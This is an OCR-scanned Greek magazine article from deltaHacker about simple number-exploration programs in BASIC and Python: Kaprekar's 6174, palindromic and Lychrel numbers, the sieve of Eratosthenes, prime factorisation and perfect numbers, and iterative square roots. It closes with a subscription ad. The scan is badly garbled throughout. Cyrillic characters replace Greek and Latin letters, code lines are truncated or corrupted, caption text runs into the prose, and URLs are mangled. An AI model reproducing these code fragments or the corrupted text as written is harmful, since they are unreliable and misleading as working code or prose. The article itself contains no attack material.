О χρήστης του υπολογιστή ἦταν ταυτόχρονα και προγραμματιστής. Μάλιστα, ἦταν 
υποχρεωμένος να μάθει προγραμματισμὀ πάνω στο ἰδιο το μηχάἀνημάἁ του, Χρησιµο- 
ποιώντας капота διάλεκτο της γλὠσσας BASIC, βιβλία, περιοδικἀ, πολλά πειράματα 
κι ατελείωτα ξενύχτια. Όλα αυτά συνεπάγονταν ατἐλειωτους καβγάδες µε τους yo- 
νεὶς — αλλά αυτό μάλλον συμβαίνει και σήµερα :) 


Па να μάθει камејс προγραμματισμὀ, έπρεπε να γράψει αρκετά μικρὰ και μεσαία 
προγράμματα, μέχρι να φτάσει να δημιουργήσει κἄποιο arcade дате (Рубате 
invaders, апуопе?). Φαινομενικἀ, τουλάχιστον, τα πιο апла προγράµµατα μετὰ то 
"Hello World" ἦταν та υπολογιστικά. Κι Отау μιλάμε για υπολογισμούς, δεν αναφε- 
роџасте στις кмџакотес χρεώσεις της ΔΕΗ ἡ κάποιας ἄλλης υπηρεσίας. Τα uno- 
λογιστικἀ προγράμματα που κατασκευάζαμε τότε δεν ἦταν καθόλου βαρετὰ. Μέσα 
ап" αυτά τα προγράμματα μαθαἰναμε να окептоџаоте алүоріб ика, ενὠ γνωρίζαμε 
στην πράξη διάφορες προγραμματιστικἐς τεχνικές. Κάπως ἐτσι, боо! εἰχαν το μεράκι 
εξελίσσονταν σαν προγραμματιστὲς, арүй αλλά σταθερά. Μέχρι που κάποια στιγμή 
κατάφερναν να δημιουργήσουν το прото τους, απλὀ, παιχνίδι, μετὰ ἑνα πιο σύνθετο 
κι Еуа περισσότερο σύνθετο και, ахы, θέλω καινούριο υπολογιστή! Πα να µην πολυ- 
λογούμε ἄλλο, ας περάσουμε сіүй σιγἁ στο προκείµενο σημειώνοντας πως то паром 
άρθρο θα μπορούσε κάλλιστα ν' αποτελεί то "Game Programming — Episode 1" :) 


Υπολογιστικἀ προγράμματα; 


Σας πληροφορώ бт! υπάρχουν πολλὰ κι ενδιαφἐροντα ζητήματα που µπορείτε уа 
εξερευνήσετε µε τη βοήθεια του υπολογιστή σας. Όρεξη να 'χετε — και φυσικά την 
Python! Πα ορισμένα апо τα παραδείγματα που θα δούμε σε Муо, θα χρειαστείτε και 
τη βιβλιοθήκη wxPython. Αν ἐχετε ακολουθήσει τη оєра ἄρθρων για προγραµµα- 
тісро σε Python δι wxPython (βλ. άρθρα στα τεύχη 012 έως και 019), θα την έχετε 
поп εγκαταστήσει στον υπολογιστή σας. Διαφορετικά, µπορείτε να την κατεβάσε- 
τε тора, апо εδώ: www.wxpython.org/download.php. Αν βέβαια χρησιμοποιείτε Linux, 
τότε θα την προσθέσετε апо та repositories της διανοµἠς σας. 
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Σε αυτό το εκπληκτικό (1) μηχάνημα που ο γράφων δημιούργησε 
τα прота του προγράµµατα, υλοποιήθηκε για πρώτη фора 

και το 6174 — µετά апо πολύ διάβασμα του βιβλίου BASIC 

των Βουτυρά - Ρουβά. Στην ἐνθετη εικόνα βλέπετε кі éva 
прбураџџа επιστημονικού υπολογιστή, ἑνα αρκετά απλούστερο 
прбураџџа χρήσιμο για ма μάθει κάποιος тіс Васікес εντολές. 
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МНАСЈКЕВ. 
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ЖКЕКЖЕТЕТКЕТЖЕНКЖЕТЕ КЕРЕККЕ 


ΤΗΕΙ ΕΙ :050βι. FUNCTIONS 
ЕЭ 352355555522 


SQUARE ROOT 3.464101615 
COSINE . 8438539587 
SINE -.536572918 

ТАМБЕНТ -.6358599287 
АЕСТАМБЕМТ 1.487655095 
NAT. LOGARITHM 2.48490665 

EXPONENTIAL 162754.7914 


Back to ВА51С(5): Εξερευνώντας τους αριθμούς]! 
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Μη νομἰζετε ὁτι θα σας ζαλίσουμε µε προγράµµατα που λύνουν πρωτοβάθμµιες και 
δευτεροβάθµιες εξισώσεις. Н αλήθεια εἶναι ότι ο γράφων ξεκίνησε µε айта ακριβὼς 
τα προγράμματα αλλά, εδὠ που τα λέμε, δεν ἐχουν καθόλου плака! То εἶχε δια- 
πιστώσει AUTÒ, ο γράφων, ο οποίος αναζητούσε епџома ша καλἠ και ταυτόχρονα 
ενδιαφέρουσα προγραμματιστικἠ πρὀκληση. Και κάπως έτσι, το σωτἠριο ἐτος 1985, 
о Sonic και о πιστὸς του ΤΙ-99/4Α συνάντησαν ема περἰεργο проураџџа, σ' ёха βι- 
βλίο προγραμματισμού της εποχής. Το βιβλίο λεγόταν "Н γλὠσσα προγραμματισμού 
BASIC" (συγγραφείς: Βουτυράς, Ρουβάς — 1984) και το μυστήριο проураџџа ἦταν 
о μαγικὸς αριθµὀς 6174. 


О αριθµός του Каргекаг 


Πάρτε ἑναν οποιονδήποτε τετραψήφιο αριθμό, µε μόνο περιορισμό να µην εἶναι και 
та τἐσσερα ψηφία του ἴδια. Па παράδειγµα, πάρτε τον 7355. Δημιουργήστε боо 
νέους αριθμούς, ταξινομώντας τα ψηφία του αρχικού αριθμού ката αὐξουσα και 
Φθίνουσα σειρὰ. Έτσι θα καταλήξετε µε τους αριθμούς 3557 και 7553. Στη συνέχεια 
αφαιρέστε τον μεγαλύτερο апо τον μικρότερο: 7553 - 3557 = 3996. Тора κάντε 
το ἰδιο µε το αποτέλεσµα (ταξινοµήστε τα ψηφία ката αὐξουσα και φθίνουσα σειρἁ 
και κάντε την αφαίρεση). Αυτή τη фора θα καταλήξετε στον αριθμό 9963 - 3699 
= 6264. Ау επαναλάβετε τη διαδικασία, θα πάρετε том 6642 - 2466 = 4176 кі αν 
επαναλάβετε палі, θα πάρετε τον 7641 - 1467 = 6174. Аха! Φτάσαμε στον 6174! 


Δοκιμάστε тора µε κἀποιον ἄλλον αριθµό. Επαναλαμβάνονταςτα βήματα που εἶδαμε 
προηγουμένως ὁσες φορὲς χρειαστεί, θα καταλήξουμε πάλι στον 6174. О µυστη- 
ριώδης αυτὸς αριθμός ονομάζεται αριθμός του Каргекаг. Μπορείτε να διαβάσετε 
περισσότερα ү" αυτόν στη Wikipedia, ενώ џпорејте ма δείτε και το σχετικὀ βίντεο 
στο κανάλι питһегрһИе του YouTube. Βέβαια, το 1985 δεν υπήρχε οὐτε Wikipedia 
οὐτε YouTube. О γράφων ὁμως κατάφερε ма σκαρώσει ἑνα проураџџа σε BASIC то 
οποίο ἐπαιρνε ἐναν αριθµό апо το χρήστη, εφάρμοζε την παραπάνω διαδικασίἰα κι 
εμφάνιζε όλα τα ενδιάμεσα αποτελέσµατα μέχρι να φτάσει στον 6174. Μη νομίζετε 
ότι εἶναι τόσο еџколо ὁσο ακούγεται. Το проураџџа ἐπρεπε να κάνει τα ακὀλουθα: 


ο Να διαβάζει ἑναν αριθμό ως αλφαριθμητικὀ 
ο Να μετατρέπει τους χαρακτήρες σε ψηφία και να τα ταξινομεί κι ως προς τις 
δυο κατευθύνσεις 


е Να μετατρέπει τα αποτελέσµατα των ταξινοµήσεων σε αριθμούς, уа κάνει την 
αφαίρεση και ма τυπώνει το αποτἐλεσµα 


ο Να χωρίζει ξανά το αποτέλεσµα στα επιµέρους ψηφία, να τα ταξινομεί και ма 
επαναλαμβάνει τη διαδικασἰα μἐχρι να βρεθεἰ ο 6174 


Ουσιαστικά, то проураџџа αποτελούσε µια δοκιμασία στην κατανόηση των συναρ- 
τήσεων χειρισμού string της BASIC. Τώρα, βέβαια, δεν εἰμαστε στα 805 και да γρά- 
ψουµε то σχετικὀ проураџџа σε Python. Едо τα πράγματα εἶναι πολύ πιο апла. То 
πρὀγραμμα (Каргекаг.ру) θα το βρείτε σε ἑνα πακέτο ZIP pači µε τα υπόλοιπα npo- 
γράμματα του ἄρθρου, που µπορείτε να κατεβάσετε апо то 


һер: //6іЄ. 1у/аһе25баѕісѕ 


Н Python διευκολύνει τη δημιουργία του συγκεκριμένου προγράμματος σε μεγάλο 
βαθμὸ. 
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ο Μπορούμε να διαβάσουμε éva string апо то text control στο wxPython και va 
το µετατρέψουμε σε µια ταξινομημένη λίστα στοιχείων, ως εξής: 


се1Ғ.питһегі = sorted([int(i) for 1 іп self.entryTxt.GetValue()]) 
ο Н αντίστροφη ταξινόμηση εἰναι εξίσου εὐκολη: 
питбег2 = sorted(self.number1, геуег<е-Тгие) 


Δεν μένει пара уа κάνουµε την αφαίρεση και ма εµφανίσουμε та αποτελέσµατα. Στο 
ενδιάμεσο θα μετράμε και πόσες φορὲς χρειάστηκε να επαναληφθεἰ η διαδικασἰα, 
μέχρι να φτάσουμε στο 6174. Αν δώσουμε ως αρχικό αριθμό το 9831 θα χρειαστεί το 
μέγιστο πλήθος επαναλήψεων, που φτάνει μόλις τις 7. Δεν εἶναι ὁτι θα κουράσετε και 
την CPU σας, δηλαδή. О αντίστοιχος αριθµός που προκύπτει αν εφαρμόσουμε την 
ἴδια µἐθοδο σε τριψήφιους αριθμούς, εἶναι о 495 (δείτε то проураџџа Каргекагз. 
ру). Па δύο ψηφία δεν υπάρχει αντίστοιχος αριθµός. Πα πάνω апо τἐσσερα ψηφία 
υπάρχουν διάφοροι αριθμοί στους οποίους µπορεί να καταλήξει κανεἰς, ενώ δεν ano- 
κλείεται να πέσει και σε атерџомо βρὀχο! 


Ес со Еш ЕШ ЕО ГО 


ш ш αν αν сз сз 


ΗΝ] μέν \ 

Πολύ πιο σύγχρονο апд то ТІ-99, то ЕХ-880Р µε 64КЬ ҺАМ αποτελούσε τον 
BASIC programmable επιστημονικό υπολογιστή που όλοι ήθελαν (αλλά λίγοι 
μπορούσαν να αποκτήσουν). Στη φωτογραφία τον βλέπετε να εκτελεί то 
πρὀγραμμα του μαγικού αριθμού 6174. 


Παλίνδρομοι 


Ἕνα проураџџа που μοιάζει αρκετά µε то 6174, εἶναι αυτό που ψάχνει για παλἰν- 
ὅρομους αριθμούς. Παλἰνδρομος εἶναι ο αριθµός που διαβάζεται το ἰδιο και апо τις 
δύο меріес! Ὅλοι οι μονοψήφιοι θεωρούνται παλἰνδρομοι. Οι διψήφιοι παλἰνδρομοι 
εἶναι οι 11, 22, 33, 44, 55, 66, 77, 88, 99 και νομίζουμε бт! μπορείτε να φανταστείτε 
τους τριψήφιους (111, 222, 121, 323, 454 κ.ο.κ.). Τι εννοούμε, όμως, μιλώντας για 
ανίχνευση των παλἰνδρομων αριθμών; 
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ιά 


Αν πάρετε ¿vav οποιονδήποτε αριθµό µε δύο ἡ περισσότερα ψηφία, τον αντιστρέψε- 
τε και τον προσθέσετε στον αρχικὸ, μετὰ апо κάποιες επαναλήψεις θα φτάσετε σε 
Еуау παλἰνδρομο. Ας πάρουμε τον 1295: 


1295 + 5921 7216 
7216 % 6127 - 13343 
13343 + 34331 = 47674 


І 


То 47674 εἶναι παλίνδρομος. Та катафе- 
pape! Μη βιάζεστε, όμως: Та Мадпџат!- z 

ка εἶναι γεμάτα παγίδες κι αυτό µπορεὶ Ferat dioitnumber [1468 зәп] 
уа σας το βεβαιώσει кі о αγαπητὸς к. Εκ- 

δότης (ТМ) (Σ.τ.Ε. Ναρκοπέδιο, παντού 8532 

πυκνό!) Αν δοκιμάσετε την ἴδια διαδικα- ἘΞ 

σία µε τον αριθμὀ 89, θα χρειαστούν 24 2 35 8 == 


αντιστροφὲς και προσθέσεις, μέχρι ма 
καταλήξουμε σε κάποιον παλἰνδρομο! 

Επιπλέον, το темко αποτέλεσμα εἰναι 6174 
τόσο μεγάλο που δεν χωράει στο πλαίσιο 

του προγρἀμματὸς µας (palindrome.py). Found іп 5 tries! 
Σας ἐχω και χειρότερα νέα: Υπάρχουν 
αριθμοί που µε την παραπάνω διαδικασία 


То πρὀγραμμά µας για το 6174, σε Python. 
Χρησιμοποιεί τη βιβλιοθήκη wxPython, ὥστε 


δεν γίνονται ποτὲ παλίἰνδρομοι. Δοκιμά- να µπορείτε να το δείξετε χωρίς να σας 
στε µε то 196 кі αν φτάσετε σε παλἰν- κοροϊδεύουν. Γράψτε τον τετραψήφιο αριθµό 
δρομο, πανηγυρίστε! Το 196 θεωρείται ο σας και πιέστε το start. Πιέστε ΤΟ до үа уа 

А А f προχωρήσετε βήἠμα-βήμα, μέχρι να βρείτε то 
μικρότερος αριθμὸς |упсћге!. Οι αριθμοί 6174. Δείτε ка! το video του питВегрһіе: 
Цупећге! εἶναι εκείνοι που δεν καταλἠ- һер: //Ь1%.1у/питһегрһ11е6174 


γουν ποτὲ σε капооу παλἰνδρομο, aKO- 
λουθώντας τη διαδικασἰα που περιγρά- 
ψαμε. Αν εσεὶς διαπιστώσετε От! γίνεται, 
δεν μπορεί, όλο και κάτι θα кербісете! 


Прото! αριθμοί 


Αν ρωτήσετε μαθηματικούς για τους πρώτους αριθμούς, θα αρχίσουν να κοιτάνε 
προς το ταβάνι και να σας λένε διάφορα ακαταλαβίστικα πράγματα (Σ.τ.Ε. Μεταξύ 
ἄλλων, θα σας πουν κι ὁτι εἶναι άπειροι στο πλήθος — αλλά αριθµήσιμµοι.) Αν ρω- 
τήσετε αυτούς που ασχολούνται µε την κρυπτογραφία, θα σας διαβεβαιώσουν от! 
χωρίς τους πρώτους αριθμούς δεν θα υπήρχε το GnuPG και δεν θα μπορούσατε 
να κρύψετε τα μυστικὰ апо τον NSA κι апо τη μαμὰ σας (αν κι αυτή ἐχει ἄλλους 
τρόπους να τα εκμαιεύει). Αν δεν το γνωρίζετε ἠδη, οι прото! αριθμοί εἶναι αυτοί 
που διαιρούνται μόνο µε том εαυτό τους και τη μονάδα. То 1 δεν θεωρείται πρώτος 
αριθμὸς και το 2 εἶναι о µοναδικὀὸς ζυγὸς αριθµὸς που εἶναι ταυτόχρονα και πρώτος. 
Κανένας ἄλλος ζυγὸς αριθµμὀς δεν εἶναι πρῶτος, γιατὶ θα διαιρείται σίγουρα και µε 
то 2. Οι υπόλοιποι πρῶτοι αριθμοί εἶναι џомо!, αλλά το αντίστροφο δεν ισχύει: Δεν 
εἶναι ὁλοι οι μονοί αριθμοί και πρώτοι! Πα παράδειγµα то 11 εἶναι πρώτος αριθμός, 
αλλά το 9 δεν εἶναι γιατὶ διαιρείται µε то 3. 


Θέλετε να φτιάξετε ἑνα проураџџа που να βρίσκει πρώτους αριθμούς; Έχετε ap- 
γήσει περίπου 2200 χρόνια! H πρώτη υλοποίηση, βλέπετε, ἦταν апо τον αρχαίο 
μαθηματικὸ Ερατοσθένη, ο οποίος επινόησε το уместо "κόσκινο του Ερατοσθένη". 
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Κάντε µια λίστα µε τους αριθμούς апо то 2 ос τον μέγιστο αριθμό που θέλετε ма 
ψάξετε, п.х., апд то 2 ως то 25: 


аР 


Πάρτε том прото αριθμό της λίστας (2) και διαγράψτε όλα τα πολλαπλάσιάἁ του, алла 
Ох! και том ἰδιο! Προφανώς, εφόσον αυτοί οι αριθµοίἰ διαιρούνται µε то 2, δεν εἶναι 
πρώτοι... 


ell ]5] 17} 19! |] [3] [15] μ’] [οὶ [21] 122] [25] 


Πάρτε тора τον επόμενο αριθμὀ της λίστας (то 3) και διαγράψτε όλα та πολλαπλά- 
ота του. Προφανώς, εφόσον αυτοί οι αριθμοί διαιρούνται µε то τρία, δεν εἰναι πρὠ- 
τοι! Ας δούμε τι μένει: 


ell bsi 17} | | |] [2] | | |] бој | | [24 [35] 


Тора συνεχίζουμε µε то 5... 


ell || |7| | | |] [3] | | |] бој | | 251 | | 


Οι αριθμοί που ἐμειναν тора (μετά το λεγόμενο "κοσκίνισμα") εἶναι πρώτοι! Εφόσον 
амасптаџе τους αριθμούς στην περιοχἠ апо то 2 ἑως то 25, δεν χρειάζεται να συνε- 
χίσουμε τη διαδικασία µετά то 5. Па ма то πούμε διαφορετικἀ, арке! να επαναλάβου- 
µε τη διαδικασία μέχρι και την τετραγωνικἠ pia του τελευταίου αριθμού της Мотас. 
Το σχετικὀ πρόγραµµα που γράψαμε εἶναι το οἰενε.ργ. Εκτελἑἐστε то και δώστε του 
ως πάνω Әріо то 100. Θα δείτε µια ωραία Ліста протом αριθμών, η οποία ξεκινά µε 
το 2 και τελειώνει µε то 97. Μην το παρακάνετε, όμως, µε το πάνω ὁριο :) 


Μια εκδοχἠ του προγράµµατος που κάνει χρήση γραφικών εἶναι то eratosthenes.py. 
Ας δούμε τον κὠδικά του. 


from math import sqrt 
upperlimit = 100 
numberlist = range(3,upperlimit+1,2) 
number = 3 
while number <= sqrt(upperlimit): 
nextnotprime = number 
multiplier = nextnotprime 
while nextnotprime <= upperlimit: 
nextnotprime = number * multiplier 
if nextnotprime in numberlist: 
numberlist.remove(nextnotprime) 
multiplier += 2 
number += 2 
numberlist.insert(0,2) 


print numberlist 
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Back to ВА51С(5): Εξερευνώντας τους αριθμούς! 
Αα 


Ὅπως ενδέχεται να διαπιστώσατε xou- Επ 


µε κλέψει λίγο, αφού στην αρχικἠ Ліста Шаға >2 4дітштіее s Ξ 
δεν περιλαμβάνουμε καθόλου τους Zu- (ΠΠ 8 7 |1456 зәп | 


γούς αριθμούς. Ξεκινάμε ἐπειτα апо τον 

αριθμὸ З και διαγράφουμε τα 333, 335, 1456 

336, μέχρι το γινόμενο να περάσει то бо! | 
upperlimit (οπὀτε και δεν µας ενδιαφἑρει 654 1 T 

να συνεχίσουμε). H διαγραφἠ γίνεται µε 


την εντολἠ 7997 


питбег115Е . гетоме(пехЕпоћргате) 


Αν νομίζετε дті αυτό εἰναι αποδοτικὀ, kå- Found іп 1 tries! 
νετε λάθος! Н διαγραφή гмос στοιχείου 


Το πρόγραμμα ανίχνευσης παλίνδρομων 


απο Мота Ειναι! σχετικα ακριβή διαδικα- αριθμών. То 1456 γίνεται παλίνδρομο σε 
σία: Θα ἦταν προτιμότερο να μαρκάρα- µια μόνο προσπάθεια! Μη διανοηθείτε να 
µε µε κάποιον τρόπο το συγκεκριμένο δώσετε το 196, диа! 


στοιχείο ос µη-πρώτο. AUTÒ ὁμως то 

αφήνουμε σ' εσάς. Πρέπει να περάσετε 

κι εσείς μερικὰ ευχάριστα απογεύματα! 

Στο τέλος της διαδικασίας προσθέτουμε том αριθμὸ 2, που αποτελεὶ τον μοναδικὀ 
πρῶτο αριθμὸὀ που εἶναι ζυγός. Αυτό αποτελεἰ επίσης παρέκκλιση апо τη μέθοδο του 
Ἐρατοσθένη. 


Τέλειοι αριθμοΐ και πρῶτοι παράγοντες 


Τέλειος εἶναι ἑνας αριθμός ὁταν το ἄθροισμα των διαιρετῶν του δίνει τον ἴδιο τον 
αριθµό! Πα παράδειγµα, то 6 г ма! τέλειος αριθμός γιατὶ 1 + 2 + 3 = 6, ὁπου 1, 2 και 
З εἶναι οι διαιρέτες του (προφανώς, апо τους διαιρέτες εξαιρούμε τον ἰδιο τον αριθ- 
нд). Όπως καταλαβαίνετε, για να εξετάσουμε αν ἑνας αριθµμὀς εἶναι τέλειος, πρέπει 
να υπολογίσουμε όλους τους διαιρέτες του και στη συνέχεια να τσεκάρουµε ам το 
ἀθροισμά τους δίνει τον αριθμὀ. 


Μπαίνοντας στη διαδικασἰα να υπολογίσουμε τους διαιρέτες ενὸς αριθμού, џпороџ- 
µε να λύσουμε κι ἑνα ακόµα πρὀβλημα: Να αναλύσουμε τον αρχικό αριθµὀ µας σε 
γινόμενο πρὠτων παραγόντων. Με апла λόγια, να βρούμε εκείνους τους πρώτους 
αριθμούς, που το умоџемо τους δίνει τον αρχικό αριθµό. Προφανώς, αυτοί οι прото! 
αριθμοί θα εἶναι бісіретес του αρχικού αριθμού µας. Επομένως, μπορούμε να αναζη- 
τήσουμε τους πρώτους παράγοντες емос αριθμού, μέσα στο σύνολο των διαιρετῶν 
του! Па να τσεκάρουµε αν ἑνας αριθμὀς εἶναι πρώτος, αρκεί να ακολουθήσουμε την 
EENG λογική: 

ο Αν ο аррос εἶναι то 1, τότε δεν εἶναι πρώτος 

ο Αν εἶναι το 2, τότε εἶναι πρώτος 

ο Αν εἶναι ζυγὸς και μεγαλύτερος του 2, τότε δεν εἶναι πρῶτος 


ο Αν δεν συμβαίνει τίποτα апо τα παραπάνω, τον διαιρούµε διαδοχικἀ µε όλους 
τους џомоџс αριθμούς, οι οποίοι εἶναι μικρότεροι апо την τετραγωνικἠ του 
ρίζα. Αν δεν βρούμε διαιρέτη, τότε ο αριθμὀς εἶναι πρώτος! 

е Αν βρούμε διαιρέτες, τους κρατάμε σε ша Ліста (εἰναι *ка!* αυτοί διαιρέτες 
του αρχικού αριθμού). 
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То проураџџа factor.py αναλύει каде αριθμὀ που του δίνουμε σε πρώτους парауо- 
ντες και τυπώνει τη σχετικἠ λίστα. Па παράδειγµα, αν του δώσουμε τον αριθμό 24 
θα τυπώσει KATI τέτοιο: 


Prime factors: 
І2,2,2,31 
Αυτό σημαίνει ὁτι 2 * 2 * 2 * 3 = 24, Αν δώσουμε vav πρῶτο αριθμὀ, η αντίστοιχη 
Лота θα περιλαμβάνει μόνο τον ἰδιο τον αριθµό! Ας δούμε пос δουλεύει то Таског.ру. 
Архіка, το проураџџа ελέγχει ам о αριθμὀς εἶναι ζυγός, διαιρώντας µε το 2: 
while number % 2 == 
number = number / 2 
Ғас%ог5.аррепа(2) 
Ἐπειτα, ξεκινώντας апо το 3, διαιρεἰ µε όλους τους џомоџс μέχρι την τετραγωνικἡ 
pia του αριθμού: 
start = 3 
ending = int(sqrt(number))+1 
while number >= ending: 
if number % start == 
factors . аррепа (зЕагЕ ) 
number = number / start 


Κάθε фора που βρίσκεται διαιρέτης (αυτὀ σηµαίνει оті το υπόλοιπο της διαίρεσης, то 
οποίο στην Python υπολογίζεται µε τον τελεστή 906, εἶναι μηδὲν), τον προσθέτουμε 
στη Мота factors. 


else: 
start += 2 
Αν ο αριθμὸς δεν εἶναι παράγοντας, συνεχίζουμε µε τον епоџемо. 
if number > 1: 
Ғас+огѕ. аррепа (питрег) 


Αν στο телос της διαδικασίας ἐχουμε υπόλοιπο μεγαλύτερο της μονάδας, τότε εἶναι 
παράγοντας και το προσθέτουμε στη λίστα µας. Δεν πιστεύουμε να δυσκολευτεἰτε 
να καταλάβετε пос δουλεύει το κομμάτι κὠδικα που βρίσκει αν ο αριθμὸς εἰναι TÈ- 
λειος. Αν δώσετε ως εἰσοδο то 28, θα λάβετε: 


Enter а питбег:28 

Prime factors: 

L22: 21 

All divisors (excluding number itself): 
[1, 2, 4; 7, 141 

28 is а perfect number! 


Мета то 28, επόμενοι τέλειοι αριθμοί εἶναι τα 496 και то 8128. Δοκιμάστε τους! 
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Back to ВА51С(5): Εξερευνώντας τους αριθμούς] 
“0” 


Enter ап upper limit: [10000 Start | 


8641, 8647, 8663, 8669, 8677, 8681, 8689, 8693, 8699, 8707, 
8713, 8719, 8731, 8737, 8741, 8747, 8753, 8761, 8779, 8783, 
8803, 8807, 8819, 8821, 8831, 8837, 8839, 8849, 8861, 8863, 
8867, 8887, 8893, 8923, 8929, 8933, 8941, 8951, 8963, 8969, 
8971, 8999, 9001, 9007, 9011, 9013, 9029, 9041, 9043, 9049, 
059, 9067, 9091, 9103, 9109, 9127, 9133, 9137, 9151, 9157, 
161, 9173, 9181, 9187, 9199, 9203, 9209, 9221, 9227, 9239, 
241, 9257, 9277, 9281, 9283, 9293, 9311, 9319, 9323, 9337, 
341, 9343, 9349, 9371, 9377, 9391, 9397, 9403, 9413, 9419, 
421, 9431, 9433, 9437, 9439, 9461, 9463, 9467, 9473, 9479, 
491, 9497, 9511, 9521, 9533, 9539, 9547, 9551, 9587, 9601, 
613, 9619, 9623, 9629, 9631, 9643, 9649, 9661, 9677, 9679, 
9689, 9697, 9719, 9721, 9733, 9739, 9743, 9749, 9767, 9769, 
781, 9787, 9791, 9803, 9811, 9817, 9829, 9833, 9839, 9851, 
857, 9859, 9871, 9883, 9887, 9901, 9907, 9923, 9929, 9931, 
941, 9949, 9967, 9973 

ен ренин ен ен НЕ реј 


Το κόσκινο του Ερατοσθένη επί то ἐργον! Βλέπετε όλους τους πρώτους αριθμούς 
που βρίσκονται στο διάστηµα [2, 10000]. Μην το δοκιμάσετε σε Atom СРО :) 


Μέχρι στιγµἠς δεν ἐχει βρεθεἰ τέλειος αριθμός που να µην εἶναι ζυγός, οὐτε και 
ἐχει αποδειχθεί От! δεν υπάρχει! Διαβάστε και то σχετικὀ άρθρο στη Wikipedia: 
en.wikipedia.org/wiki/Perfect_numbers 


Τετραγωνικὲς ρίζες 


Тора ξέρω бт! углате: Όλα τα απλά κομπιουτεράκια ¿xouv τετραγωνικἠ pia, емо) 
κι όλες οι γλὠσσες προγραμματισμού παρέχουν µια συνάρτηση τετραγωνικἠς ρίζας. 
Ακόμα κι όλες οι BASIC των 805 εἶχαν ἑτοιμη την τετραγωνικἡ piča, μαζί µε πολλὲς 
ακόµα μαθηματικὲς συναρτήσεις που σας ταλαιπώρησαν, σας ταλαιπωρούν ἡ και θα 
σας ταλαιπωρήσουν στο Λύκειο :Р Αν όμως δεν εἰχατε ἑτοιμη τη σχετικἠ συνάρτηση, 
пос θα катафермате να υπολογἰσετε ша τετραγωνικἠ piča; 


Υπάρχουν διάφοροι τρόποι κι еџејс θα δούμε vav апо αυτούς: Ἐστω от! θέλετε να 
υπολογίσετε την τετραγωνικἠ pia του 12. Επειδἠ 333 = 9 και 434-16 εἰστε σίγουροι 
ότι αυτὸ που ψάχνετε εἶναι μεταξύ του З και του 4. Пагрмоџџе τον αριθµό του οποίου 
το τετράγωνο δεν υπερβαίνει τον αρχικὀ αριθμὀ, που στην περἰπτωσή µας εἶναι то 
3. Архіка λοιπὀν, διαιρούμε то 12 pe TO 3: 


12/ 3-4 
Тора, προσθέτουμε το 3 στο αποτέλεσµα: 
4+3=7 
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Τέλος, διαιρούμε το άθροισμα µε то δύο: 
7/2 = 3.5 
То 3.5 εἶναι η τετραγωνικἠ pia του 12 µε ακρἰβεια емос δεκαδικού ψηφίου! 


Θέλετε μεγαλύτερη ακρἰβεια; Κανένα πρὀβλημα! Επαναλάβετε τη διαδικασία ξεκινώ- 
ντας αυτή τη φορὰ με то 3.5: 


12 / 3.5 = 3.42 
3.42 + 3.5 = 6.92 
6.92 / 2 = 3.46 


То 3.46 εἶναι η pia του 12, µε ακρίβεια δύο δεκαδικὠν ψηφίων! Αν θέλετε (ακόμα) 
μεγαλύτερη ακρἰβεια, νομἰζουμε от! ξέρετε τι πρέπει να κάνετε: Ма επαναλάβετε τη 
διαδικασία ξεκινώντας αυτή τη фора апо то 3.46. Тора, оџос, κινδυνεύουµε να nė- 
σουµε σε βρὀχο και то дећаНаскег να καταλήξει σε ἑνα PDF ἀπειρων σελἰδων! Еџејс 
φτιάξαμε ἑνα проураџџа που ακολουθεἰ την παραπάνω μέθοδο και σταματάει отау 
η διαφορὰ της τρέχουσας ρἰζας апо την προηγούµενη γίνει поло µικρή. Τι εννοούμε 
ЏЕ то "πολύ µικρή"; Εννοούμε μικρότερη апо ша τιµή που έχουμε επιλέξει αυθαίρετα 
και η οποία καθορίζει την ακρίβεια του проураџџатос µας. То εν λόγω проураџџа 
εἶναι το sqroot.py. Дете τι ζητάει και τι εμφανίζει όταν το εκτελούμε: 


Enter а питбег:12 
Enter ап initial guess (1 is ассер+аб1е):1 
Square root is: 3.464190161514 


Ектос απὀ τον αριθμό του опојоџ ζητάμε την τετραγωνικἠ ρἰζα, δίνουμε και ¿vav 
αριθμό που υποθέτουμε ὁτι βρίσκεται κοντὰ στην τετραγωνικἠ ρἰζα. Στη συνέχεια, 
το проураџџа ακολουθεί τη διαδικασία που παρουσιἁάσαµε προηγουμένως και υπο- 
λογίζειτην τετραγωνικἠ ρίζα. А, να έχετε υπόψη σας Оті το κομπιουτεράκι των τριών 
ευρώ που Ехете петаџемо στο συρτάρι, υπολογίζει τις тетраүшмікес ρίζες µε την ἴδια 
ακριβὠς μέθοδο! 


Ελπίζουμε να διασκεδάσατε µε τα υπολογιστικά µας προγράμματα που παρουσιάσα- 
με, Осо διασκεδάσαμµε кі εµεἰς όταν та урашаџе για πρὠτη фора. Φυσικά, үушрі- 
ζουμε πολύ καλά бт! δεν παρουσιάσαμε ολοκληρωμένα ὀλη τη μαθηματική θεωρία 
για τα ζητήματα µε та οποία καταπιαστήκαμε. Νομίζουμε орос бт! σας τσιγκλήσαμε 
αρκετά κι ότι θα το ψάξετε περισσότερο. Στο κανάλι питһегрһИе του YouTube θα 
βρείτε πολλὲς ακόµα ιδέες για παρόμοια προγράμματα. 


Αν σας φαίνεται От! п Python απλοποιεἰ όλα τα προβλήματα και τα κάνει βαρετὰ, 
µπορείτε να δοκιμάσετε σε κάποιαν ἄλλη γλὠσσα. Έχω кат! μηχανήματα των 8bit 
στη ντουλάπα... Θέλετε να δοκιμάσετε σε αυτά; 
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== 


— <2 
«нн. ен - - 


save 


wedr 


Το deltaHacker είναι το ένα και μοναδικό 
περιοδικό µε θεματολογία το ethical hack- 
ing, τα δίκτυα και την ασφάλεια, τον 
προγραμματισμό και τα ηλεκτρονικά. 


Το deltaHacker δεν γυρνάει εδώ κι εκεί στα 
περίπτερα, αλλά για δεύτερη χρονιά στη σειρά 
έρχεται κατευθείαν σ' εσάς. 


Αν είστε από εκείνους που δεν βλέπουν τον 
υπολογιστή τους WG άλλη µια οικιακή συσκευή 
και δεν αντιμετωπίζετε το Internet ως ένα 
δίκτυο που αρχίζει και τελειώνει µε το Facebook 
και to Twitter, τότε είναι 109% βέβαιο ότι θα 
αγαπήσετε то декаНаскег, καθώς κι ότι θα 
θέλετε την παρέα του κάθε μήνα. 


Παραγγείλετε τώρα µία από τις συμφέρουσες 
συνδρομές από το 

пЕр://декаћаскег. дг/раТ 12огдег 
(ηλεκτρονική έκδοση) 


ή από το 
http://deltahacker.gr/order 
(έντυπη έκδοση, έως το τεύχος 019) 


Σηµείωση: Την ύλη όλων των τευχών που 
έχουν κυκλοφορήσει ως τώρα µπορείτε να τη 
βλέπετε στο 


deltahacker.gr/category/magazine-issues 


